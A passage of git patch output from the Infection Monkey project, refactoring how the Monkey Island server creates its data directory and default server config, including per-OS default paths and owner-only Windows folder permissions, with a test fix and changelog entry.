config["log_level"]) except OSError as ex: diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 497323f8b5c..cf56144ed06 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -41,8 +41,6 @@ def main( ): logger.info("Starting bootloader server") - create_data_dir(data_dir) - env_singleton.initialize_from_file(server_config_filename) initialize_encryptor(data_dir) initialize_services(data_dir) @@ -57,11 +55,6 @@ def main( bootloader_server_thread.join() -def create_data_dir(data_dir): - if not os.path.isdir(data_dir): - os.makedirs(data_dir, mode=0o700) - - def start_island_server(should_setup_only): mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) wait_for_mongo_db_server(mongo_url) From 9eedac4eb252276fc68333e006a66337963e5fcf Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 16:46:39 +0530 Subject: [PATCH 0535/1360] Move `create_data_dir()` from monkey_island.py to monkey_island/cc/setup.py --- monkey/monkey_island.py | 7 +------ monkey/monkey_island/cc/setup.py | 6 ++++++ 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 31fa26382d7..4f28bc606a6 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -9,12 +9,7 @@ from monkey_island import config_loader # noqa: E402 from monkey_island.cc.server_utils.island_logger import setup_logging # noqa: E402 - - -def create_data_dir(data_dir): - if not os.path.isdir(data_dir): - os.makedirs(data_dir, mode=0o700) - +from monkey_island.cc.setup import create_data_dir # noqa: E402 if "__main__" == __name__: island_args = parse_cli_args() diff --git a/monkey/monkey_island/cc/setup.py b/monkey/monkey_island/cc/setup.py index a03c554be52..fbe709dec73 100644 --- a/monkey/monkey_island/cc/setup.py +++ b/monkey/monkey_island/cc/setup.py @@ -1,4 +1,5 @@ import logging +import os from pymongo import errors @@ -49,3 +50,8 @@ def store_mitigations_on_mongo(): ) for key, mongo_object in mongo_mitigations.items(): mongo_object.save() + + +def create_data_dir(data_dir): + if not os.path.isdir(data_dir): + os.makedirs(data_dir, mode=0o700) From 805e5e6c22243d98077b08899bdd61627476b304 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 17:42:25 +0530 Subject: [PATCH 0536/1360] Restructure code for creating default data directory and server config --- monkey/monkey_island.py | 5 +++-- .../cc/environment/data_dir_generator.py | 13 +++++++++++++ .../cc/environment/server_config_generator.py | 16 ++++++++++++++-- monkey/monkey_island/cc/setup.py | 6 ------ monkey/monkey_island/config_loader.py | 11 +---------- 5 files changed, 31 insertions(+), 20 deletions(-) create mode 100644 monkey/monkey_island/cc/environment/data_dir_generator.py diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 4f28bc606a6..55a6d047547 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -7,9 +7,10 @@ import json # noqa: E402 import os # noqa: E402 +import monkey_island.cc.environment.server_config_generator as server_config_generator # noqa: E402 from monkey_island import config_loader # noqa: E402 +from monkey_island.cc.environment.data_dir_generator import create_data_dir # noqa: E402 from monkey_island.cc.server_utils.island_logger import setup_logging # noqa: E402 -from monkey_island.cc.setup import create_data_dir # noqa: E402 if "__main__" == __name__: island_args = parse_cli_args() @@ -20,7 +21,7 @@ if island_args.server_config: server_config_path = os.path.expanduser(island_args.server_config) else: - server_config_path = config_loader.create_default_server_config_path() + server_config_path = server_config_generator.create_default_server_config_file() config = config_loader.load_server_config_from_file(server_config_path) diff --git a/monkey/monkey_island/cc/environment/data_dir_generator.py b/monkey/monkey_island/cc/environment/data_dir_generator.py new file mode 100644 index 00000000000..efbec857f83 --- /dev/null +++ b/monkey/monkey_island/cc/environment/data_dir_generator.py @@ -0,0 +1,13 @@ +import os + +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR + + +def create_data_dir(data_dir: str) -> None: + if not os.path.isdir(data_dir): + os.makedirs(data_dir, mode=0o700) + + +def create_default_data_dir() -> None: + if not os.path.isdir(DEFAULT_DATA_DIR): + os.mkdir(DEFAULT_DATA_DIR, mode=0o700) diff --git a/monkey/monkey_island/cc/environment/server_config_generator.py b/monkey/monkey_island/cc/environment/server_config_generator.py index 211b745c5c2..45dde6f781d 100644 --- a/monkey/monkey_island/cc/environment/server_config_generator.py +++ b/monkey/monkey_island/cc/environment/server_config_generator.py @@ -1,8 +1,20 @@ +import os from pathlib import Path -from monkey_island.cc.server_utils.consts import DEFAULT_DEVELOP_SERVER_CONFIG_PATH +from monkey_island.cc.environment.data_dir_generator import create_default_data_dir +from monkey_island.cc.server_utils.consts import ( + DEFAULT_DEVELOP_SERVER_CONFIG_PATH, + DEFAULT_SERVER_CONFIG_PATH, +) -def create_default_config_file(path): +def create_default_server_config_file() -> str: + if not os.path.isfile(DEFAULT_SERVER_CONFIG_PATH): + create_default_data_dir() + write_default_server_config_to_file(DEFAULT_SERVER_CONFIG_PATH) + return DEFAULT_SERVER_CONFIG_PATH + + +def write_default_server_config_to_file(path: str) -> None: default_config = Path(DEFAULT_DEVELOP_SERVER_CONFIG_PATH).read_text() Path(path).write_text(default_config) diff --git a/monkey/monkey_island/cc/setup.py b/monkey/monkey_island/cc/setup.py index fbe709dec73..a03c554be52 100644 --- a/monkey/monkey_island/cc/setup.py +++ b/monkey/monkey_island/cc/setup.py @@ -1,5 +1,4 @@ import logging -import os from pymongo import errors @@ -50,8 +49,3 @@ def store_mitigations_on_mongo(): ) for key, mongo_object in mongo_mitigations.items(): mongo_object.save() - - -def create_data_dir(data_dir): - if not os.path.isdir(data_dir): - os.makedirs(data_dir, mode=0o700) diff --git a/monkey/monkey_island/config_loader.py b/monkey/monkey_island/config_loader.py index 036be2c69c4..aaa9185d700 100644 --- a/monkey/monkey_island/config_loader.py +++ b/monkey/monkey_island/config_loader.py @@ -1,20 +1,11 @@ import json import os -import monkey_island.cc.environment.server_config_generator as server_config_generator -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_SERVER_CONFIG_PATH +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR DEFAULT_LOG_LEVEL = "INFO" -def create_default_server_config_path(): - if not os.path.isfile(DEFAULT_SERVER_CONFIG_PATH): - if not os.path.isdir(DEFAULT_DATA_DIR): - os.mkdir(DEFAULT_DATA_DIR, mode=0o700) - server_config_generator.create_default_config_file(DEFAULT_SERVER_CONFIG_PATH) - return DEFAULT_SERVER_CONFIG_PATH - - def load_server_config_from_file(server_config_path): with open(server_config_path, "r") as f: config_content = f.read() From d8927a5c5568c06341e077332f47313875c54e60 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 17:45:55 +0530 Subject: [PATCH 0537/1360] Create constant SERVER_CONFIG_FILENAME --- monkey/monkey_island/cc/server_utils/consts.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 1c0e53d8476..eaf7ec4161c 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -2,14 +2,17 @@ __author__ = "itay.mizeretz" + +SERVER_CONFIG_FILENAME = "server_config.json" + MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), "monkey_island") DEFAULT_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc") DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5 -DEFAULT_SERVER_CONFIG_PATH = os.path.join(DEFAULT_DATA_DIR, "server_config.json") +DEFAULT_SERVER_CONFIG_PATH = os.path.join(DEFAULT_DATA_DIR, SERVER_CONFIG_FILENAME) DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.develop" + MONKEY_ISLAND_ABS_PATH, "cc", f"{SERVER_CONFIG_FILENAME}.develop" ) From af42c01aa9fc5d9e4f8000425ff5d0d75248b8dd Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 17:49:12 +0530 Subject: [PATCH 0538/1360] Replace missed out function name --- monkey/monkey_island/cc/environment/environment_config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 6f4626c9ed8..5befa202b92 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -25,7 +25,7 @@ def _load_from_file(self, file_path): file_path = os.path.expanduser(file_path) if not Path(file_path).is_file(): - server_config_generator.create_default_config_file(file_path) + server_config_generator.write_default_server_config_to_file(file_path) with open(file_path, "r") as f: config_content = f.read() From ff1e6bdb2c8614374369ac3c3852537c9a306c1c Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 17:53:22 +0530 Subject: [PATCH 0539/1360] Remove logic for creating default server config in appimage script --- appimage/run_appimage.sh | 8 -------- 1 file changed, 8 deletions(-) diff --git a/appimage/run_appimage.sh b/appimage/run_appimage.sh index 837ef5d3a5d..d31b41843b0 100644 --- a/appimage/run_appimage.sh +++ b/appimage/run_appimage.sh @@ -3,20 +3,12 @@ PYTHON_CMD="$APPDIR"/opt/python3.7/bin/python3.7 DOT_MONKEY="$HOME"/.monkey_island/ -configure_default_server() { - if [ ! -f "$DOT_MONKEY"/server_config.json ]; then - cp "$APPDIR"/usr/src/monkey_island/cc/server_config.json.standard "$DOT_MONKEY"/server_config.json - fi -} - # shellcheck disable=SC2174 mkdir --mode=0700 --parents "$DOT_MONKEY" DB_DIR="$DOT_MONKEY"/db mkdir --parents "$DB_DIR" -configure_default_server - cd "$APPDIR"/usr/src || exit 1 ./monkey_island/bin/mongodb/bin/mongod --dbpath "$DB_DIR" & ${PYTHON_CMD} ./monkey_island.py --server-config "$DOT_MONKEY"/server_config.json From a1beee95f31bac8f8555898bbe31861f2b026973 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Tue, 18 May 2021 23:32:44 +0530 Subject: [PATCH 0540/1360] Change data_dir permissions on Windows --- .../cc/environment/data_dir_generator.py | 33 +++++++++++++++++++ monkey/monkey_island/cc/environment/os.py | 5 +++ 2 files changed, 38 insertions(+) create mode 100644 monkey/monkey_island/cc/environment/os.py diff --git a/monkey/monkey_island/cc/environment/data_dir_generator.py b/monkey/monkey_island/cc/environment/data_dir_generator.py index efbec857f83..877faba3cb3 100644 --- a/monkey/monkey_island/cc/environment/data_dir_generator.py +++ b/monkey/monkey_island/cc/environment/data_dir_generator.py @@ -1,13 +1,46 @@ import os +import ntsecuritycon +import win32api +import win32con +import win32security + +from monkey_island.cc.environment.os import is_windows_os from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR def create_data_dir(data_dir: str) -> None: if not os.path.isdir(data_dir): os.makedirs(data_dir, mode=0o700) + if is_windows_os(): # `mode=0o700` doesn't work on Windows + set_data_dir_security_to_read_by_owner(data_dir_path=data_dir) def create_default_data_dir() -> None: if not os.path.isdir(DEFAULT_DATA_DIR): os.mkdir(DEFAULT_DATA_DIR, mode=0o700) + if is_windows_os(): # `mode=0o700` doesn't work on Windows + set_data_dir_security_to_read_by_owner(data_dir_path=DEFAULT_DATA_DIR) + + +def set_data_dir_security_to_read_by_owner(data_dir_path: str) -> None: + user = get_user_pySID_object() # current user is newly created data dir's owner + + security_descriptor = win32security.GetFileSecurity( + data_dir_path, win32security.DACL_SECURITY_INFORMATION + ) + dacl = win32security.ACL() + dacl.AddAccessAllowedAce(win32security.ACL_REVISION, ntsecuritycon.FILE_GENERIC_READ, user) + security_descriptor.SetSecurityDescriptorDacl(1, dacl, 0) + win32security.SetFileSecurity( + data_dir_path, win32security.DACL_SECURITY_INFORMATION, security_descriptor + ) + + +def get_user_pySID_object(): + # get current user's name + username = win32api.GetUserNameEx(win32con.NameSamCompatible) + # pySID object for the current user + user, _, _ = win32security.LookupAccountName("", username) + + return user diff --git a/monkey/monkey_island/cc/environment/os.py b/monkey/monkey_island/cc/environment/os.py new file mode 100644 index 00000000000..195e54fd355 --- /dev/null +++ b/monkey/monkey_island/cc/environment/os.py @@ -0,0 +1,5 @@ +import sys + + +def is_windows_os(): + return sys.platform.startswith("win") From 320167224864227f6adac60bd25ddad534bc1a90 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 19 May 2021 15:59:38 +0530 Subject: [PATCH 0541/1360] Move `is_windows_os` to data_dir_generator.py and add user write permissions to newly created data directory --- .../cc/environment/data_dir_generator.py | 18 ++++++++++++------ monkey/monkey_island/cc/environment/os.py | 5 ----- 2 files changed, 12 insertions(+), 11 deletions(-) delete mode 100644 monkey/monkey_island/cc/environment/os.py diff --git a/monkey/monkey_island/cc/environment/data_dir_generator.py b/monkey/monkey_island/cc/environment/data_dir_generator.py index 877faba3cb3..a809f43600d 100644 --- a/monkey/monkey_island/cc/environment/data_dir_generator.py +++ b/monkey/monkey_island/cc/environment/data_dir_generator.py @@ -1,26 +1,28 @@ import os +import sys import ntsecuritycon import win32api import win32con import win32security -from monkey_island.cc.environment.os import is_windows_os from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR +is_windows_os = sys.platform.startswith("win") + def create_data_dir(data_dir: str) -> None: if not os.path.isdir(data_dir): os.makedirs(data_dir, mode=0o700) - if is_windows_os(): # `mode=0o700` doesn't work on Windows - set_data_dir_security_to_read_by_owner(data_dir_path=data_dir) + if is_windows_os: # `mode=0o700` doesn't work on Windows + set_data_dir_security_to_read_by_owner(data_dir_path=data_dir) def create_default_data_dir() -> None: if not os.path.isdir(DEFAULT_DATA_DIR): os.mkdir(DEFAULT_DATA_DIR, mode=0o700) - if is_windows_os(): # `mode=0o700` doesn't work on Windows - set_data_dir_security_to_read_by_owner(data_dir_path=DEFAULT_DATA_DIR) + if is_windows_os: # `mode=0o700` doesn't work on Windows + set_data_dir_security_to_read_by_owner(data_dir_path=DEFAULT_DATA_DIR) def set_data_dir_security_to_read_by_owner(data_dir_path: str) -> None: @@ -30,7 +32,11 @@ def set_data_dir_security_to_read_by_owner(data_dir_path: str) -> None: data_dir_path, win32security.DACL_SECURITY_INFORMATION ) dacl = win32security.ACL() - dacl.AddAccessAllowedAce(win32security.ACL_REVISION, ntsecuritycon.FILE_GENERIC_READ, user) + dacl.AddAccessAllowedAce( + win32security.ACL_REVISION, + ntsecuritycon.FILE_GENERIC_READ | ntsecuritycon.FILE_GENERIC_WRITE, + user, + ) security_descriptor.SetSecurityDescriptorDacl(1, dacl, 0) win32security.SetFileSecurity( data_dir_path, win32security.DACL_SECURITY_INFORMATION, security_descriptor diff --git a/monkey/monkey_island/cc/environment/os.py b/monkey/monkey_island/cc/environment/os.py deleted file mode 100644 index 195e54fd355..00000000000 --- a/monkey/monkey_island/cc/environment/os.py +++ /dev/null @@ -1,5 +0,0 @@ -import sys - - -def is_windows_os(): - return sys.platform.startswith("win") From e7a26aa2d1fc9570925637a7d1ea9015c02d0b5e Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 19 May 2021 16:01:35 +0530 Subject: [PATCH 0542/1360] Rename `set_data_dir_security_to_read_by_owner()` to `set_data_dir_security_to_read_and_write_by_owner` --- monkey/monkey_island/cc/environment/data_dir_generator.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/environment/data_dir_generator.py b/monkey/monkey_island/cc/environment/data_dir_generator.py index a809f43600d..5883cf25b6b 100644 --- a/monkey/monkey_island/cc/environment/data_dir_generator.py +++ b/monkey/monkey_island/cc/environment/data_dir_generator.py @@ -15,17 +15,17 @@ def create_data_dir(data_dir: str) -> None: if not os.path.isdir(data_dir): os.makedirs(data_dir, mode=0o700) if is_windows_os: # `mode=0o700` doesn't work on Windows - set_data_dir_security_to_read_by_owner(data_dir_path=data_dir) + set_data_dir_security_to_read_and_write_by_owner(data_dir_path=data_dir) def create_default_data_dir() -> None: if not os.path.isdir(DEFAULT_DATA_DIR): os.mkdir(DEFAULT_DATA_DIR, mode=0o700) if is_windows_os: # `mode=0o700` doesn't work on Windows - set_data_dir_security_to_read_by_owner(data_dir_path=DEFAULT_DATA_DIR) + set_data_dir_security_to_read_and_write_by_owner(data_dir_path=DEFAULT_DATA_DIR) -def set_data_dir_security_to_read_by_owner(data_dir_path: str) -> None: +def set_data_dir_security_to_read_and_write_by_owner(data_dir_path: str) -> None: user = get_user_pySID_object() # current user is newly created data dir's owner security_descriptor = win32security.GetFileSecurity( From 8c575b9d358415f2c3c80da8904503b9dcdb585a Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 19 May 2021 17:00:58 +0530 Subject: [PATCH 0543/1360] Import Windows specific modules only on Windows --- .../cc/environment/data_dir_generator.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/environment/data_dir_generator.py b/monkey/monkey_island/cc/environment/data_dir_generator.py index 5883cf25b6b..9d235e30711 100644 --- a/monkey/monkey_island/cc/environment/data_dir_generator.py +++ b/monkey/monkey_island/cc/environment/data_dir_generator.py @@ -1,15 +1,16 @@ import os import sys -import ntsecuritycon -import win32api -import win32con -import win32security - from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR is_windows_os = sys.platform.startswith("win") +if is_windows_os: + import ntsecuritycon + import win32api + import win32con + import win32security + def create_data_dir(data_dir: str) -> None: if not os.path.isdir(data_dir): From 8ce506ac6fee3345f45adfff96ded37e3c6ac25d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 May 2021 17:00:57 +0300 Subject: [PATCH 0544/1360] Refactored windows permission handling into a separate file --- .../cc/environment/data_dir_generator.py | 51 +++---------------- .../cc/environment/windows_permissions.py | 31 +++++++++++ 2 files changed, 38 insertions(+), 44 deletions(-) create mode 100644 monkey/monkey_island/cc/environment/windows_permissions.py diff --git a/monkey/monkey_island/cc/environment/data_dir_generator.py b/monkey/monkey_island/cc/environment/data_dir_generator.py index 9d235e30711..399ade277c8 100644 --- a/monkey/monkey_island/cc/environment/data_dir_generator.py +++ b/monkey/monkey_island/cc/environment/data_dir_generator.py @@ -1,53 +1,16 @@ import os import sys -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR +from monkey_island.cc.environment.windows_permissions import set_full_folder_access is_windows_os = sys.platform.startswith("win") -if is_windows_os: - import ntsecuritycon - import win32api - import win32con - import win32security - -def create_data_dir(data_dir: str) -> None: +def create_data_dir(data_dir: str, create_parent_dirs: bool) -> None: if not os.path.isdir(data_dir): - os.makedirs(data_dir, mode=0o700) + if create_parent_dirs: + os.makedirs(data_dir, mode=0o700) + else: + os.mkdir(data_dir, mode=0o700) if is_windows_os: # `mode=0o700` doesn't work on Windows - set_data_dir_security_to_read_and_write_by_owner(data_dir_path=data_dir) - - -def create_default_data_dir() -> None: - if not os.path.isdir(DEFAULT_DATA_DIR): - os.mkdir(DEFAULT_DATA_DIR, mode=0o700) - if is_windows_os: # `mode=0o700` doesn't work on Windows - set_data_dir_security_to_read_and_write_by_owner(data_dir_path=DEFAULT_DATA_DIR) - - -def set_data_dir_security_to_read_and_write_by_owner(data_dir_path: str) -> None: - user = get_user_pySID_object() # current user is newly created data dir's owner - - security_descriptor = win32security.GetFileSecurity( - data_dir_path, win32security.DACL_SECURITY_INFORMATION - ) - dacl = win32security.ACL() - dacl.AddAccessAllowedAce( - win32security.ACL_REVISION, - ntsecuritycon.FILE_GENERIC_READ | ntsecuritycon.FILE_GENERIC_WRITE, - user, - ) - security_descriptor.SetSecurityDescriptorDacl(1, dacl, 0) - win32security.SetFileSecurity( - data_dir_path, win32security.DACL_SECURITY_INFORMATION, security_descriptor - ) - - -def get_user_pySID_object(): - # get current user's name - username = win32api.GetUserNameEx(win32con.NameSamCompatible) - # pySID object for the current user - user, _, _ = win32security.LookupAccountName("", username) - - return user + set_full_folder_access(folder_path=data_dir) diff --git a/monkey/monkey_island/cc/environment/windows_permissions.py b/monkey/monkey_island/cc/environment/windows_permissions.py new file mode 100644 index 00000000000..5d4913151fb --- /dev/null +++ b/monkey/monkey_island/cc/environment/windows_permissions.py @@ -0,0 +1,31 @@ +import ntsecuritycon +import win32api +import win32con +import win32security + + +def set_full_folder_access(folder_path: str) -> None: + user = get_user_pySID_object() + + security_descriptor = win32security.GetFileSecurity( + folder_path, win32security.DACL_SECURITY_INFORMATION + ) + dacl = win32security.ACL() + dacl.AddAccessAllowedAce( + win32security.ACL_REVISION, + ntsecuritycon.FILE_ALL_ACCESS, + user, + ) + security_descriptor.SetSecurityDescriptorDacl(1, dacl, 0) + win32security.SetFileSecurity( + folder_path, win32security.DACL_SECURITY_INFORMATION, security_descriptor + ) + + +def get_user_pySID_object(): + # get current user's name + username = win32api.GetUserNameEx(win32con.NameSamCompatible) + # pySID object for the current user + user, _, _ = win32security.LookupAccountName("", username) + + return user From 409a3c5234ffaa80b1efdfe3051c313997fcaea1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 May 2021 17:01:50 +0300 Subject: [PATCH 0545/1360] Refactored code duplication by adding a parameter for create_data_dir --- monkey/monkey_island.py | 2 +- .../monkey_island/cc/environment/server_config_generator.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 55a6d047547..76399b6ff00 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -25,7 +25,7 @@ config = config_loader.load_server_config_from_file(server_config_path) - create_data_dir(config["data_dir"]) + create_data_dir(config["data_dir"], True) setup_logging(config["data_dir"], config["log_level"]) diff --git a/monkey/monkey_island/cc/environment/server_config_generator.py b/monkey/monkey_island/cc/environment/server_config_generator.py index 45dde6f781d..fd47889ea39 100644 --- a/monkey/monkey_island/cc/environment/server_config_generator.py +++ b/monkey/monkey_island/cc/environment/server_config_generator.py @@ -1,7 +1,7 @@ import os from pathlib import Path -from monkey_island.cc.environment.data_dir_generator import create_default_data_dir +from monkey_island.cc.environment.data_dir_generator import create_data_dir from monkey_island.cc.server_utils.consts import ( DEFAULT_DEVELOP_SERVER_CONFIG_PATH, DEFAULT_SERVER_CONFIG_PATH, @@ -10,7 +10,7 @@ def create_default_server_config_file() -> str: if not os.path.isfile(DEFAULT_SERVER_CONFIG_PATH): - create_default_data_dir() + create_data_dir(DEFAULT_SERVER_CONFIG_PATH, False) write_default_server_config_to_file(DEFAULT_SERVER_CONFIG_PATH) return DEFAULT_SERVER_CONFIG_PATH From 2fb77fcb390adee87ad038c9335d920eb8d9f55f Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Thu, 20 May 2021 16:27:11 +0530 Subject: [PATCH 0546/1360] Get default directory depending on OS --- .../cc/environment/server_config_generator.py | 3 ++- monkey/monkey_island/cc/server_utils/consts.py | 15 +++++++++++++-- 2 files changed, 15 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/environment/server_config_generator.py b/monkey/monkey_island/cc/environment/server_config_generator.py index fd47889ea39..17ee4a50c09 100644 --- a/monkey/monkey_island/cc/environment/server_config_generator.py +++ b/monkey/monkey_island/cc/environment/server_config_generator.py @@ -3,6 +3,7 @@ from monkey_island.cc.environment.data_dir_generator import create_data_dir from monkey_island.cc.server_utils.consts import ( + DEFAULT_DATA_DIR, DEFAULT_DEVELOP_SERVER_CONFIG_PATH, DEFAULT_SERVER_CONFIG_PATH, ) @@ -10,7 +11,7 @@ def create_default_server_config_file() -> str: if not os.path.isfile(DEFAULT_SERVER_CONFIG_PATH): - create_data_dir(DEFAULT_SERVER_CONFIG_PATH, False) + create_data_dir(DEFAULT_DATA_DIR, False) write_default_server_config_to_file(DEFAULT_SERVER_CONFIG_PATH) return DEFAULT_SERVER_CONFIG_PATH diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index eaf7ec4161c..a3005ad3128 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -1,17 +1,28 @@ import os +import sys __author__ = "itay.mizeretz" +def get_default_data_dir() -> str: + is_windows_os = sys.platform.startswith("win") + if is_windows_os: + return r"%AppData%\monkey_island" + else: + return r"$HOME/.monkey_island" + + SERVER_CONFIG_FILENAME = "server_config.json" MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), "monkey_island") -DEFAULT_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc") +DEFAULT_DATA_DIR = os.path.expandvars(get_default_data_dir()) DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5 -DEFAULT_SERVER_CONFIG_PATH = os.path.join(DEFAULT_DATA_DIR, SERVER_CONFIG_FILENAME) +DEFAULT_SERVER_CONFIG_PATH = os.path.expandvars( + os.path.join(DEFAULT_DATA_DIR, SERVER_CONFIG_FILENAME) +) DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( MONKEY_ISLAND_ABS_PATH, "cc", f"{SERVER_CONFIG_FILENAME}.develop" From 37b7815e00173ab6698dc74ff86d3d13367dc8d9 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Thu, 20 May 2021 16:35:19 +0530 Subject: [PATCH 0547/1360] Move `is_windows_os()` to separate file --- monkey/monkey_island/cc/environment/data_dir_generator.py | 6 ++---- monkey/monkey_island/cc/environment/utils.py | 5 +++++ monkey/monkey_island/cc/server_utils/consts.py | 6 +++--- 3 files changed, 10 insertions(+), 7 deletions(-) create mode 100644 monkey/monkey_island/cc/environment/utils.py diff --git a/monkey/monkey_island/cc/environment/data_dir_generator.py b/monkey/monkey_island/cc/environment/data_dir_generator.py index 399ade277c8..98907d63948 100644 --- a/monkey/monkey_island/cc/environment/data_dir_generator.py +++ b/monkey/monkey_island/cc/environment/data_dir_generator.py @@ -1,10 +1,8 @@ import os -import sys +from monkey_island.cc.environment.utils import is_windows_os from monkey_island.cc.environment.windows_permissions import set_full_folder_access -is_windows_os = sys.platform.startswith("win") - def create_data_dir(data_dir: str, create_parent_dirs: bool) -> None: if not os.path.isdir(data_dir): @@ -12,5 +10,5 @@ def create_data_dir(data_dir: str, create_parent_dirs: bool) -> None: os.makedirs(data_dir, mode=0o700) else: os.mkdir(data_dir, mode=0o700) - if is_windows_os: # `mode=0o700` doesn't work on Windows + if is_windows_os(): # `mode=0o700` doesn't work on Windows set_full_folder_access(folder_path=data_dir) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py new file mode 100644 index 00000000000..cbb8a1d6fa9 --- /dev/null +++ b/monkey/monkey_island/cc/environment/utils.py @@ -0,0 +1,5 @@ +import sys + + +def is_windows_os() -> bool: + return sys.platform.startswith("win") diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index a3005ad3128..8b88b000b30 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -1,12 +1,12 @@ import os -import sys + +from monkey_island.cc.environment.utils import is_windows_os __author__ = "itay.mizeretz" def get_default_data_dir() -> str: - is_windows_os = sys.platform.startswith("win") - if is_windows_os: + if is_windows_os(): return r"%AppData%\monkey_island" else: return r"$HOME/.monkey_island" From dc129c017b32bec3ebe56d374492f77d9f38e58a Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Thu, 20 May 2021 16:43:36 +0530 Subject: [PATCH 0548/1360] Fix unit test in test_consts.py --- monkey/tests/unit_tests/monkey_island/cc/test_consts.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/test_consts.py b/monkey/tests/unit_tests/monkey_island/cc/test_consts.py index eebb7414f34..993ddaa6447 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/test_consts.py +++ b/monkey/tests/unit_tests/monkey_island/cc/test_consts.py @@ -5,8 +5,8 @@ def test_default_server_config_file_path(): if platform.system() == "Windows": - server_file_path = consts.MONKEY_ISLAND_ABS_PATH + r"\cc\server_config.json" + server_file_path = f"{consts.DEFAULT_DATA_DIR}\\{consts.SERVER_CONFIG_FILENAME}" else: - server_file_path = consts.MONKEY_ISLAND_ABS_PATH + "/cc/server_config.json" + server_file_path = f"{consts.DEFAULT_DATA_DIR}/{consts.SERVER_CONFIG_FILENAME}" assert consts.DEFAULT_SERVER_CONFIG_PATH == server_file_path From 4640a760ff46cbe21bd30ea98a16253fba7dfb0e Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Thu, 20 May 2021 16:53:31 +0530 Subject: [PATCH 0549/1360] Update CHANGELOG (create data dir on island init) --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3021263d47c..4cd76b3ccb4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -33,6 +33,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Improved the structure of unit tests by scoping fixtures only to relevant modules instead of having a one huge fixture file, improved and renamed the directory structure of unit tests and unit test infrastructure. #1178 +- Create/check data directory on Island init. #1170 ### Removed - Relevant dead code as reported by Vulture. #1149 From b4708fc2cbc4f954f89a00f5e1eea7f1e3acaa91 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Thu, 20 May 2021 16:55:27 +0530 Subject: [PATCH 0550/1360] Import Windows specific modules only on Windows systems --- .../cc/environment/windows_permissions.py | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/environment/windows_permissions.py b/monkey/monkey_island/cc/environment/windows_permissions.py index 